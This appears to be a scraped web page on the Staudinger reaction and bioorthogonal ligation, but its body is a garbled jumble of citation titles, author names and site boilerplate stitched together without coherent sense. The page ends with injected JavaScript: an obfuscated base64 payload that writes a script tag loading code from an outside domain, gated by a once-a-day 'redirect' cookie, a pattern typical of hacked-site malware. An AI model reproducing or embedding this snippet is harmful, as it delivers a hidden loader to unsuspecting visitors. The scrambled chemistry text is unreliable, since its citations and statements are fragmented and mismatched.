Thus, the yield of the traceless Staudinger ligation in water was not diminished by the additional steric encumbrance imposed by a non-glycyl residue. Teixeira, Olga Iranzo, Ana C.A. Lucia De Rosa, Alessandra Romanelli, Luca Domenico D'Andrea. Probing the proteasome cavity in three steps: bio-orthogonal photo-reactive suicide substrates. Xueying Kang, Xuekang Cai, Long Yi, Zhen Xi. Peter Laverman, Silvie A. Meeuwissen, Sander S. van Berkel, Wim J.G. Constantin Mamat, Matthew Gott, Jörg Steinbach. Users are Lett. These metrics are regularly updated to reflect usage leading up to the last few days. Tatiana Cañeque, Sebastian Müller, Raphaël Rodriguez. Lo, J. Please note: If you switch to a different device, you may be asked to login again with only your ACS ID. Am. The conversion during the different procedures was confirmed using 31P and 1H-NMR. Sangwan. Chia-Liang Tai, Ming-Shiu Hung, Vijay D. Pawar, Shi-Liang Tseng, Jen-Shin Song, Wan-Ping Hsieh, Hua-Hao Chiu, Hui-Chuan Wu, Min-Tsang Hsieh, Chun-Wei Kuo. Studies toward the synthesis of macrotermycin C: stereoselective construction of the acyclic skeleton of the aglycon. Lisa Shah, Scott T. Laughlin, and Isaac S. Carrico . S detection and for improved bioorthogonal reactions. Metal-Free Triazole Formation as a Tool for Bioconjugation. An Engineered Aryl Azide Ligase for Site-Specific Mapping of Protein-Protein Interactions through Photo-Cross-Linking. ‐Nitrosothiols. David M. Patterson, Lidia A. Nazarova, and Jennifer A. Prescher . Poly(glycidyl ether)-Based Monolayers on Gold Surfaces: Control of Grafting Density and Chain Conformation by Grafting Procedure, Surface Anchor, and Molecular Weight. Nucleotidyl transferase assisted DNA labeling with different click chemistries. Matthew C. Uzagare, Iris Claußnitzer, Michael Gerrits, Willi Bannwarth. A systematic study on the use of different organocatalytic activation modes for asymmetric conjugated addition reactions of isoindolinones. Mild and Chemoselective Peptide-Bond Cleavage of Peptides and Proteins at Azido Homoalanine. The Staudinger reaction is a mild reduction of organic azides yielding corresponding primary amines. Andrea Niederwieser, Anne-Katrin Späte, Long Duc Nguyen, Christian Jüngst, Werner Reutter, Valentin Wittmann. It holds the crucial characteristics for bioorthogonal chemistry: biocompatibility, select … Azobenzene Photoswitches for Staudinger-Bertozzi Ligation. Fangfang Peng, Jinhua Gao, Weijuan Zhang, Weili Zhao. A Versatile Approach for Site‐Specific Lysine Acylation in Proteins. Metabolic Labeling of Glycans with Azido Sugars for Visualization and Glycoproteomics. Rev. The intermediate, e.g. Filippo Nisic, Gaetano Speciale, Anna Bernardi. The theoretical investigation of intermolecular interactions between iminophosphorane and HSX (X = F, Cl and Br). Jipan Yu, Min Jiang, Zhixuan Song, Tiancheng He, Haijun Yang, Hua Fu. 13 Nerella Kavitha, Vemula Praveen Kumar, Srivari Chandrasekhar. Journal of Labelled Compounds and Radiopharmaceuticals. o,o-Difluorination of aromatic azide yields a fast-response fluorescent probe for H For permission to reproduce, republish and Synthesis and Application of Glycopeptide and Glycoprotein Mimetics. Paul P. Geurink, Bogdan I. Florea, Gijs A. -Acylated 8-Aminoquinolines by Remote C−H Activation. Developments in the Field of Bioorthogonal Bond Forming Reactions—Past and Present Trends. Assembling Ligands In Situ Using Bioorthogonal Boronate Ester Synthesis. Catalytic Staudinger—Vilarrasa Reaction for the Direct Ligation of Carboxylic Acids and Azides. Versatile Route to Synthesize Heterobifunctional Poly(ethylene glycol) of Variable Functionality for Subsequent Pegylation. Kejin Zhou, Junfang Li, Yijie Lu, Guangzhao Zhang, Zuowei Xie and Chi Wu . 1988, 88, 297. Nonclassical Routes for Amide Bond Formation. Science 2000, 287, 2007. doi: 10.1126/science.287.5460.2007 Antonia Di Mola, Francesco Scorzelli, Guglielmo Monaco, Laura Palombi, Antonio Massa. Chem. Current Protocols in Nucleic Acid Chemistry. Nico Ehrlich, Dirk Baabe, Matthias Freytag, Peter G. Jones, Marc D. Walter. π-Extended Coumarins Derived with Nonhydrolyzable Iminophosphoranes as Two-Photon-Excited Fluorophores. Emma G. Jackson, Nichole J. Pedowitz, Matthew R. Pratt. The Utilities of Chemical Reactions and Molecular Tools for O-GlcNAc Proteomic Studies. -Acyl Side Chain Modified Mannosamines. ・Staudinger, H.; Meyer, J. Helv. Synthesis, structure, spectral, electrochemical and sensing properties of 3-amino boron-dipyrromethene and its derivatives. First phosphine imine-forming reaction is conducted involving treatment of the azide with the phosphine. Rutjes, Otto C. Boerman. Uthpala Seneviratne, Luiz C. Godoy, John S. Wishnok, Gerald N. Wogan, and Steven R. Tannenbaum . Chemical Biology Drug Design. Re-examination of Dynamics of Polyeletrolytes in Salt-Free Dilute Solutions by Designing and Using a Novel Neutral−Charged−Neutral Reversible Polymer. Chada Narsimha Reddy, Manda Sathish, Susanta Adhikary, Jagadeesh Babu Nanubolu, Abdullah Alarifi, Ram Awatar Maurya, Ahmed Kamal. Annie Tam, Matthew B. Soellner, Ronald T. Raines. Downing, Jeanne L. McHale, Ming Xian. Gerui Ren, Qinheng Zheng, and Hua Wang . The iminophosphorane also serves as a versatile intermediate in various reactions such as the aza-Wittig reaction, in which it reacts with carbonyl compounds to give imines. Natalia Nepomniaschiy, Valerie Grimminger, Aviv Cohen, Saviana DiGiovanni, Hilal A. Lashuel and Ashraf Brik. 1H-NMR spectra can show Department of Molecular and Cell Biology. ... Several variations on the basic procedure, described above, exist. Proteins: Chemistry and Chemical Reactivity. Find more information about Crossref citation counts. Targeted Identification of Glycosylated Proteins in the Gastric Pathogen s and (o-tolyl) Copper-free click chemistry for dynamic in vivo imaging. *|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('